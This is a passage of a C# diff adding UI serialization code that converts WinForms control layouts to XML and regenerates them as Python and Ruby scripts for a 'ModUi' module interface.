XmlFromTagValue(ModUiTags.ColumnHeadersHeightSizeMode, SizeMode); + } + + static string XmlFromControlGridColorProperty(Color C) + { + return XmlFromTagValue(ModUiTags.GridColor, C.ToArgb()); + } + static string XmlFromControlBackgroundColorProperty(Color C) + { + return XmlFromTagValue(ModUiTags.BackgroundColor, C.ToArgb()); + } + static string XmlFromControlSelectionModeProperty(DataGridViewSelectionMode SelectionMode) + { + return XmlFromTagValue(ModUiTags.SelectionMode, SelectionMode); + } + static string XmlFromColumnsProperty(DataGridViewColumnCollection Columns) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Columns)); + foreach (DataGridViewColumn Column in Columns) + { + SB.Append(XmlFromColumnProperty(Column)); + } + SB.Append(EndTag(ModUiTags.Columns)); + return SB.ToString(); + } + static string XmlFromColumnProperty(DataGridViewColumn Column) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Column)); + SB.Append(XmlFromControlNameProperty(Column.Name)); + SB.Append(XmlFromTagValue(ModUiTags.CellType, Column.CellType.Name)); + SB.Append(XmlFromTagValue(ModUiTags.AutoSizeColumnsMode, Column.AutoSizeMode)); + SB.Append(XmlFromTagValue(ModUiTags.FillWeight, Column.FillWeight)); + SB.Append(XmlFromTagValue(ModUiTags.MinimumWidth, Column.MinimumWidth)); + SB.Append(XmlFromTagValue(ModUiTags.Width, Column.Width)); + SB.Append(XmlFromControlReadOnlyProperty(Column.ReadOnly)); + //SB.Append(XmlFromDataGridViewCellStyle(Column.DefaultCellStyle)); + //SB.Append(XmlFromControlFillWeightProperty(Column.FillWeight)); + SB.Append(XmlFromControlHeaderTextProperty(Column.HeaderText)); + SB.Append(EndTag(ModUiTags.Column)); + return SB.ToString(); + } + static string XmlFromControlWrapModeProperty(DataGridViewTriState WrapMode) + { + return XmlFromTagValue(ModUiTags.CellStyleWrapMode, WrapMode); + } + static string XmlFromControlHeaderTextProperty(string HeaderText) + { + return XmlFromTagValue(ModUiTags.HeaderText, Tools.Base64Encode(HeaderText)); + } + static string XmlFromSplitContainerFixedPanel(FixedPanel SplitContPanel) + { + return XmlFromTagValue(ModUiTags.FixedPanel, SplitContPanel); + } + static string XmlFromSplitContainerIsSplitterFixed(bool IsSplitterFixed) + { + return XmlFromTagValue(ModUiTags.IsSplitterFixed, IsSplitterFixed); + } + static string XmlFromSplitContainerOrientation(Orientation SplitContOrientation) + { + return XmlFromTagValue(ModUiTags.Orientation, SplitContOrientation); + } + static string XmlFromSplitContainerPanelOneChildrenProperty(SplitterPanel PanelOne) + { + return XmlFromSplitContainerPanelChildrenProperty(PanelOne, ModUiTags.PanelOne); + } + static string XmlFromSplitContainerPanelTwoChildrenProperty(SplitterPanel PanelTwo) + { + return XmlFromSplitContainerPanelChildrenProperty(PanelTwo, ModUiTags.PanelTwo); + } + static string XmlFromSplitContainerPanelChildrenProperty(SplitterPanel Panel, string PanelName) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(PanelName)); + SB.Append(XmlFromControlChildrenProperty(Panel.Controls)); + SB.Append(EndTag(PanelName)); + return SB.ToString(); + } + static string XmlFromSplitContainerSplitterDistance(int SplitterDistance) + { + return XmlFromTagValue(ModUiTags.SplitterDistance, SplitterDistance); + } + static string XmlFromControlChildrenProperty(Control.ControlCollection Children) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.Children)); + if (Children != null) + { + foreach (Control ChildControl in Children) + { + SB.Append(XmlFromControl(ChildControl)); + } + } + SB.Append(EndTag(ModUiTags.Children)); + return SB.ToString(); + } + static string XmlFromEventHandlers(Dictionary EventHandlers) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(ModUiTags.EventHandlers)); + foreach (string Event in EventHandlers.Keys) + { + SB.Append(StartTag(Event)); + SB.Append(EventHandlers[Event]); + SB.Append(EndTag(Event)); + } + SB.Append(EndTag(ModUiTags.EventHandlers)); + return SB.ToString(); + } + static string XmlFromTagValue(string TagName, object Value) + { + StringBuilder SB = new StringBuilder(); + SB.Append(StartTag(TagName)); SB.Append(Tools.XmlEncode(Value.ToString())); SB.Append(EndTag(TagName)); + return SB.ToString(); + } + static string StartTag(string TagName) + { + return String.Format("<{0}>", TagName); + } + static string EndTag(string TagName) + { + return String.Format("", TagName); + } + #endregion + + #region CodeCreation + public static ModCodeAndControlHolder XmlToCode(string UiXml) + { + return XmlToCode(UiXml, new Form()); + } + public static ModCodeAndControlHolder XmlToCode(string UiXml, Form F) + { + ModUiTools MUT = new ModUiTools(); + return MUT.RawXmlToCode(UiXml, F); + } + ModCodeAndControlHolder RawXmlToCode(string UiXml, Form F) + { + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + XmlDocument XDoc = new XmlDocument(); + XDoc.LoadXml(UiXml); + MemoryStream MS = new MemoryStream(); + XmlTextWriter XWriter = new XmlTextWriter(MS, Encoding.ASCII); + XWriter.Formatting = Formatting.Indented; + XDoc.WriteContentTo(XWriter); + XWriter.Flush(); + MS.Flush(); + MS.Position = 0; + StreamReader SR = new StreamReader(MS); + Result.XmlCode = SR.ReadToEnd(); + ModCodeAndControlHolder PyRbControlResult = XmlToCode(XDoc, F); + Result.PyCode = PyRbControlResult.PyCode; + Result.RbCode = PyRbControlResult.RbCode; + Result.Control = PyRbControlResult.Control; + return Result; + } + ModCodeAndControlHolder XmlToCode(XmlDocument XDoc, Form F) + { + XmlNode UiTagNode = XDoc.ChildNodes[0]; + ReadAllControlNames(UiTagNode); + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + PyCode.AppendLine("ui = ModUi()"); + RbCode.AppendLine("ui = ModUi.new()"); + + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + if (XDoc.DocumentElement.Name.Equals("UI", StringComparison.OrdinalIgnoreCase)) + { + ModCodeAndControlHolder CPECC = ConvertControlPropertiesEventHandlersChildrenToCode(UiTagNode, "ui", F); + PyCode.Append(CPECC.PyCode); + PyCode.AppendLine("ui.ShowUi()"); + RbCode.Append(CPECC.RbCode); + RbCode.AppendLine("ui.ShowUi()"); + } + else + { + throw new Exception("Invalid UI description. Outermost tag must be the tag."); + } + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = F; + return Result; + } + void ReadAllControlNames(XmlNode Node) + { + foreach (XmlNode ChildNode in Node.ChildNodes) + { + if (ChildNode.Name.Equals(ModUiTags.Name)) + { + if (!ControlNamesRead.Contains(ChildNode.InnerText)) + ControlNamesRead.Add(ChildNode.InnerText); + } + else if (ChildNode.Equals(ModUiTags.Children)) + ReadAllControlNames(ChildNode); + } + } + string GetControlName(string ControlType, string CurrentName) + { + if (CurrentName.Length > 0 && !ControlNamesUsed.Contains(CurrentName)) + { + ControlNamesUsed.Add(CurrentName); + return CurrentName; + } + else + { + while (true) + { + string Name = String.Format("{0}_{1}", Tools.CamelCaseToUnderScore(ControlType), ControlNameCounter); + if (ControlNamesRead.Contains(Name) || ControlNamesUsed.Contains(Name)) + { + ControlNameCounter++; + } + else + { + ControlNamesUsed.Add(Name); + return Name; + } + } + } + } + ModCodeAndControlHolder ConvertControlPropertiesEventHandlersChildrenToCode(XmlNode Node, string ControlName, Control C) + { + XmlNode PropertiesNode = null; + XmlNode EventHandlersNode = null; + XmlNode ChildrenNode = null; + XmlNode PanelOneNode = null; + XmlNode PanelTwoNode = null; + foreach (XmlNode SubNode in Node.ChildNodes) + { + switch (SubNode.Name) + { + case (ModUiTags.Properties): + PropertiesNode = SubNode; + break; + case (ModUiTags.EventHandlers): + EventHandlersNode = SubNode; + break; + case (ModUiTags.Children): + ChildrenNode = SubNode; + break; + case (ModUiTags.PanelOne): + PanelOneNode = SubNode; + break; + case (ModUiTags.PanelTwo): + PanelTwoNode = SubNode; + break; + default: + continue; + } + } + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + ModCodeAndControlHolder NodeResults = new ModCodeAndControlHolder(); + if (PropertiesNode != null) + { + NodeResults = ConvertControlPropertiesNodeToCode(PropertiesNode, ControlName, C); + PyCode.Append(NodeResults.PyCode); + RbCode.Append(NodeResults.RbCode); + } + if (EventHandlersNode != null) + { + NodeResults = ConvertControlEventHandlersNodeToCode(EventHandlersNode, ControlName, C); + PyCode.Append(NodeResults.PyCode); + RbCode.Append(NodeResults.RbCode); + } + if (ChildrenNode != null) + { + NodeResults = ConvertControlChildXmlNodesToCode(ChildrenNode, ControlName, C); + PyCode.Append(NodeResults.PyCode); + RbCode.Append(NodeResults.RbCode); + } + if (PanelOneNode != null) + { + NodeResults = ConvertControlChildXmlNodesToCode(PanelOneNode.ChildNodes[0], string.Format("{0}.Panel1", ControlName), C); + PyCode.Append(NodeResults.PyCode); + RbCode.Append(NodeResults.RbCode); + } + if (PanelTwoNode != null) + { + NodeResults = ConvertControlChildXmlNodesToCode(PanelTwoNode.ChildNodes[0], string.Format("{0}.Panel2", ControlName), C); + PyCode.Append(NodeResults.PyCode); + RbCode.Append(NodeResults.RbCode); + } + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = C; + return Result; + } + ModCodeAndControlHolder ConvertControlPropertiesNodeToCode(XmlNode PropertiesNode, string ControlName, Control C) + { + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + foreach (XmlNode ChildNode in PropertiesNode.ChildNodes) + { + ModCodeAndControlHolder PropertyCode = ConvertControlPropertyNodeToCode(ChildNode, ControlName, C); + PyCode.Append(PropertyCode.PyCode); + RbCode.Append(PropertyCode.RbCode); + } + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = C; + return Result; + } + ModCodeAndControlHolder ConvertControlPropertyNodeToCode(XmlNode PropertyNode, string ControlName, Control C) + { + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + switch (PropertyNode.Name) + { + case (ModUiTags.Size): + SetSizeInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Location): + SetLocationInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Anchor): + SetAnchorInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Dock): + SetDockStyleInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Enabled): + SetEnabledInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Visible): + SetVisibleInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.BackColor): + SetBackColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.ForeColor): + SetForeColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Font): + SetFontInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.BorderStyle): + SetBorderStyleInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Icon): + SetIconInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.ReadOnly): + SetReadOnlyInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Text): + SetTextInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.PasswordChar): + SetPasswordCharInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.MultiLine): + SetMultiLineInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Wordwrap): + SetWordwrapInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.TextAlign): + SetTextAlignInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.ScrollBars): + SetScrollBarsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + //case (ModUiTags.Rtf): + // SetRtfInCode(PyCode, RbCode, ControlName, C, PropertyNode); + // break; + case (ModUiTags.RichTextScrollBars): + SetRichTextScrollBarsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.DetectUrls): + SetDetectUrlsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Checked): + SetCheckedInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Columns): + SetColumnsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.AllowUserToAddRows): + SetAllowUserToAddRowsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.AllowUserToDeleteRows): + SetAllowUserToDeleteRowsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.AllowUserToResizeColumns): + SetAllowUserToResizeColumnsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.AllowUserToResizeRows): + SetAllowUserToResizeRowsInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.ColumnHeadersVisible): + SetColumnHeadersVisibleInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.RowHeadersVisible): + SetRowHeadersVisibleInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.GridColor): + SetGridColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.BackgroundColor): + SetBackgroundColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.TabPages): + SetTabPagesInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.Orientation): + SetSplitContainerOrientationInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.IsSplitterFixed): + SetSplitContainerIsSplitterFixedInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.FixedPanel): + SetSplitContainerFixedPanelInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + case (ModUiTags.SplitterDistance): + SetSplitContainerSplitterDistanceInCode(PyCode, RbCode, ControlName, C, PropertyNode); + break; + } + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = C; + return Result; + } + + #region SetPropertiesInCode + static void SetNameInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C) + { + PyCode.AppendLine(string.Format("{0}.Name = '{1}'", ControlName, ControlName)); + RbCode.AppendLine(string.Format("{0}.Name = '{1}'", ControlName, ControlName)); + C.Name = ControlName; + } + static void SetSizeInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (Node.HasChildNodes && Node.ChildNodes.Count == 2) + { + int Width = 0; + int Height = 0; + foreach (XmlNode SubNode in Node.ChildNodes) + { + if (SubNode.Name.Equals(ModUiTags.SizeWidth)) + Width = Int32.Parse(SubNode.InnerText); + else if (SubNode.Name.Equals(ModUiTags.SizeHeight)) + Height = Int32.Parse(SubNode.InnerText); + else + throw new Exception(string.Format("Invalid Size value {0}", SubNode.Name)); + } + PyCode.AppendLine(string.Format("{0}.Size = ModUiTools.GetSizeDefinition({1},{2})", ControlName, Width, Height)); + RbCode.AppendLine(string.Format("{0}.Size = ModUiTools.get_size_definition({1},{2})", ControlName, Width, Height)); + C.Size = ModUiTools.GetSizeDefinition(Width, Height); + } + } + static void SetLocationInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (Node.HasChildNodes && Node.ChildNodes.Count == 2) + { + int X = 0; + int Y = 0; + foreach (XmlNode SubNode in Node.ChildNodes) + { + if (SubNode.Name.Equals(ModUiTags.LocationX)) + X = Int32.Parse(SubNode.InnerText); + else if (SubNode.Name.Equals(ModUiTags.LocationY)) + Y = Int32.Parse(SubNode.InnerText); + else + throw new Exception(string.Format("Invalid Location value {0}", SubNode.Name)); + } + PyCode.AppendLine(string.Format("{0}.Location = ModUiTools.GetLocationDefinition({1},{2})", ControlName, X, Y)); + RbCode.AppendLine(string.Format("{0}.Location = ModUiTools.get_location_definition({1},{2})", ControlName, X, Y)); + C.Location = ModUiTools.GetLocationDefinition(X, Y); + } + } + static void SetAnchorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (Node.HasChildNodes && Node.ChildNodes.Count == 4) + { + bool Top = true; + bool Bottom = false; + bool Left = true; + bool Right = false; + foreach (XmlNode SubNode in Node.ChildNodes) + { + if (SubNode.Name.Equals(ModUiTags.AnchorLeft)) + Left = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.AnchorRight)) + Right = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.AnchorTop)) + Top = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.AnchorBottom)) + Bottom = SubNode.InnerText.Equals("True"); + else + throw new Exception(string.Format("Invalid Anchor value {0}", SubNode.Name)); + } + PyCode.AppendLine(string.Format("{0}.Anchor = ModUiTools.GetAnchorStyleDefinition({1},{2},{3},{4})", ControlName, PyBool(Top), PyBool(Bottom), PyBool(Left), PyBool(Right))); + RbCode.AppendLine(string.Format("{0}.Anchor = ModUiTools.get_anchor_style_definition({1},{2},{3},{4})", ControlName, RbBool(Top), RbBool(Bottom), RbBool(Left), RbBool(Right))); + C.Anchor = ModUiTools.GetAnchorStyleDefinition(Top, Bottom, Left, Right); + } + } + static void SetDockStyleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string DockStyleName = Node.InnerText; + PyCode.AppendLine(string.Format("{0}.Dock = ModUiTools.GetDockStyleDefinition('{1}')", ControlName, DockStyleName)); + RbCode.AppendLine(string.Format("{0}.Dock = ModUiTools.get_dock_style_definition('{1}')", ControlName, DockStyleName)); + C.Dock = ModUiTools.GetDockStyleDefinition(DockStyleName); + } + static void SetEnabledInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Enabled = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.Enabled = {1}", ControlName, PyBool(Enabled))); + RbCode.AppendLine(string.Format("{0}.Enabled = {1}", ControlName, RbBool(Enabled))); + C.Enabled = Enabled; + } + static void SetVisibleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Visible = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.Visible = {1}", ControlName, PyBool(Visible))); + RbCode.AppendLine(string.Format("{0}.Visible = {1}", ControlName, RbBool(Visible))); + C.Visible = Visible; + } + static void SetBackColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + int ColorCode = Int32.Parse(Node.InnerText); + PyCode.AppendLine(string.Format("{0}.BackColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); + RbCode.AppendLine(string.Format("{0}.BackColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); + C.BackColor = ModUiTools.GetColorDefinition(ColorCode); + } + static void SetForeColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + int ColorCode = Int32.Parse(Node.InnerText); + PyCode.AppendLine(string.Format("{0}.ForeColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); + RbCode.AppendLine(string.Format("{0}.ForeColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); + C.ForeColor = ModUiTools.GetColorDefinition(ColorCode); + } + static void SetFontInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (Node.HasChildNodes && Node.ChildNodes.Count == 6) + { + string Family = "Arial"; + bool Bold = false; + bool Italic = false; + float Size = 0; + bool Strikeout = false; + bool Underline = false; + foreach (XmlNode SubNode in Node.ChildNodes) + { + if (SubNode.Name.Equals(ModUiTags.FontBold)) + Bold = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.FontItalic)) + Italic = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.FontStrikeout)) + Strikeout = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.FontUnderline)) + Underline = SubNode.InnerText.Equals("True"); + else if (SubNode.Name.Equals(ModUiTags.FontFamily)) + Family = SubNode.InnerText; + else if (SubNode.Name.Equals(ModUiTags.FontSize)) + Size = float.Parse(SubNode.InnerText); + else + throw new Exception(string.Format("Invalid Font value {0}", SubNode.Name)); + } + PyCode.AppendLine(string.Format("{0}.Font = ModUiTools.GetFontDefinition('{1}',{2},{3},{4},{5},{6})", ControlName, Family, Size, PyBool(Bold), PyBool(Italic), PyBool(Strikeout), PyBool(Underline))); + RbCode.AppendLine(string.Format("{0}.Font = ModUiTools.get_font_definition('{1}',{2},{3},{4},{5},{6})", ControlName, Family, Size, RbBool(Bold), RbBool(Italic), RbBool(Strikeout), RbBool(Underline))); + C.Font = ModUiTools.GetFontDefinition(Family, Size, Bold, Italic, Strikeout, Underline); + } + } + static void SetBorderStyleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string BorderStyle = Node.InnerText; + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); + break; + case ("ModRichTextBox"): + (C as ModRichTextBox).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); + break; + case ("ModLabel"): + (C as ModLabel).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); + break; + case ("ModSplitContainer"): + (C as ModSplitContainer).BorderStyle = ModUiTools.GetBorderStyleDefinition(BorderStyle); + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.BorderStyle = ModUiTools.GetBorderStyleDefinition('{1}')", ControlName, BorderStyle)); + RbCode.AppendLine(string.Format("{0}.BorderStyle = ModUiTools.get_border_style_definition('{1}')", ControlName, BorderStyle)); + } + static void SetIconInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string IconString = Node.InnerText; + PyCode.AppendLine(string.Format("{0}.Icon = ModUiTools.GetIconDefinition('{1}')", ControlName, IconString)); + RbCode.AppendLine(string.Format("{0}.Icon = ModUiTools.get_icon_definition('{1}')", ControlName, IconString)); + (C as Form).Icon = ModUiTools.GetIconDefinition(IconString); + } + static void SetReadOnlyInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool ReadOnly = (Node.InnerText == "True"); + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).ReadOnly = ReadOnly; + break; + case ("ModRichTextBox"): + (C as ModRichTextBox).ReadOnly = ReadOnly; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.ReadOnly = {1}", ControlName, PyBool(ReadOnly))); + RbCode.AppendLine(string.Format("{0}.ReadOnly = {1}", ControlName, RbBool(ReadOnly))); + } + static void SetTextInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string EncodedText = Node.InnerText; + string DecodedText = ""; + try + { + DecodedText = Tools.Base64Decode(EncodedText); + } + catch { } + if (DecodedText.Length == 0) return; + switch (C.GetType().Name) + { + case ("Form"): + (C as Form).Text = DecodedText; + break; + case ("ModTextBox"): + (C as ModTextBox).Text = DecodedText; + break; + case ("ModRichTextBox"): + (C as ModRichTextBox).Text = DecodedText; + break; + case ("ModLabel"): + (C as ModLabel).Text = DecodedText; + break; + case ("ModCheckBox"): + (C as ModCheckBox).Text = DecodedText; + break; + case ("ModRadioButton"): + (C as ModRadioButton).Text = DecodedText; + break; + case ("ModButton"): + (C as ModButton).Text = DecodedText; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.Text = Tools.Base64Decode('{1}')", ControlName, EncodedText)); + RbCode.AppendLine(string.Format("{0}.Text = Tools.base64_decode('{1}')", ControlName, EncodedText)); + } + static void SetPasswordCharInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string PasswordChar = Node.InnerText; + if (PasswordChar.Length == 1) + { + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).PasswordChar = PasswordChar.ToCharArray()[0]; + break; + } + PyCode.AppendLine(string.Format("{0}.PasswordChar = '{1}'", ControlName, PasswordChar)); + RbCode.AppendLine(string.Format("{0}.PasswordChar = '{1}'", ControlName, PasswordChar)); + } + } + static void SetTextAlignInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string TextAlign = Node.InnerText; + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).TextAlign = ModUiTools.GetTextAlignDefinition(TextAlign); + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.TextAlign = ModUiTools.GetTextAlignDefinition('{1}')", ControlName, TextAlign)); + RbCode.AppendLine(string.Format("{0}.TextAlign = ModUiTools.get_text_align_definition('{1}')", ControlName, TextAlign)); + } + static void SetScrollBarsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string ScrollBars = Node.InnerText; + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).ScrollBars = ModUiTools.GetScrollBarsDefinition(ScrollBars); + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.GetScrollBarsDefinition('{1}')", ControlName, ScrollBars)); + RbCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.get_scroll_bars_definition('{1}')", ControlName, ScrollBars)); + } + static void SetMultiLineInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool MultiLine = (Node.InnerText == "True"); + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).Multiline = MultiLine; + break; + case ("ModRichTextBox"): + (C as ModRichTextBox).Multiline = MultiLine; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.Multiline = {1}", ControlName, PyBool(MultiLine))); + RbCode.AppendLine(string.Format("{0}.Multiline = {1}", ControlName, RbBool(MultiLine))); + } + static void SetWordwrapInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Wordwrap = (Node.InnerText == "True"); + switch (C.GetType().Name) + { + case ("ModTextBox"): + (C as ModTextBox).WordWrap = Wordwrap; + break; + case ("ModRichTextBox"): + (C as ModRichTextBox).WordWrap = Wordwrap; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.WordWrap = {1}", ControlName, PyBool(Wordwrap))); + RbCode.AppendLine(string.Format("{0}.WordWrap = {1}", ControlName, RbBool(Wordwrap))); + } + static void SetDetectUrlsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool DetectUrls = (Node.InnerText == "True"); + switch (C.GetType().Name) + { + case ("ModRichTextBox"): + (C as ModRichTextBox).DetectUrls = DetectUrls; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.DetectUrls = {1}", ControlName, PyBool(DetectUrls))); + RbCode.AppendLine(string.Format("{0}.DetectUrls = {1}", ControlName, RbBool(DetectUrls))); + } + static void SetRichTextScrollBarsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string ScrollBars = Node.InnerText; + switch (C.GetType().Name) + { + case ("ModRichTextBox"): + (C as ModRichTextBox).ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition(ScrollBars); + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('{1}')", ControlName, ScrollBars)); + RbCode.AppendLine(string.Format("{0}.ScrollBars = ModUiTools.get_rich_text_box_scroll_bars_definition('{1}')", ControlName, ScrollBars)); + } + static void SetRtfInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + string EncodedRtf = Node.InnerText; + string DecodedRtf = ""; + try + { + DecodedRtf = Tools.Base64Decode(EncodedRtf); + } + catch { } + if (DecodedRtf.Length == 0) return; + switch (C.GetType().Name) + { + case ("ModRichTextBox"): + (C as ModRichTextBox).Rtf = DecodedRtf; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.Rtf = Tools.Base64Decode('{1}')", ControlName, EncodedRtf)); + RbCode.AppendLine(string.Format("{0}.Rtf = Tools.base64_decode('{1}')", ControlName, EncodedRtf)); + } + static void SetCheckedInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Checked = (Node.InnerText == "True"); + switch (C.GetType().Name) + { + case ("ModRadioButton"): + (C as ModRadioButton).Checked = Checked; + break; + case ("ModCheckBox"): + (C as ModCheckBox).Checked = Checked; + break; + default: + return; + } + PyCode.AppendLine(string.Format("{0}.Checked = {1}", ControlName, PyBool(Checked))); + RbCode.AppendLine(string.Format("{0}.Checked = {1}", ControlName, RbBool(Checked))); + } + static void SetColumnsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (!Node.HasChildNodes) return; + foreach (XmlNode ColumnNode in Node.ChildNodes) + { + if (!ColumnNode.HasChildNodes) continue; + string Name = ""; + string Type = ""; + bool ReadOnly = false; + float FillWeight = 0; + int Width = 0; + int MinWidth = 0; + string AutoSizeModeStr = ""; + string EncodedHeaderText = ""; + foreach (XmlNode SubNode in ColumnNode.ChildNodes) + { + switch (SubNode.Name) + { + case(ModUiTags.Name): + Name = SubNode.InnerText; + break; + case (ModUiTags.CellType): + Type = SubNode.InnerText; + break; + case 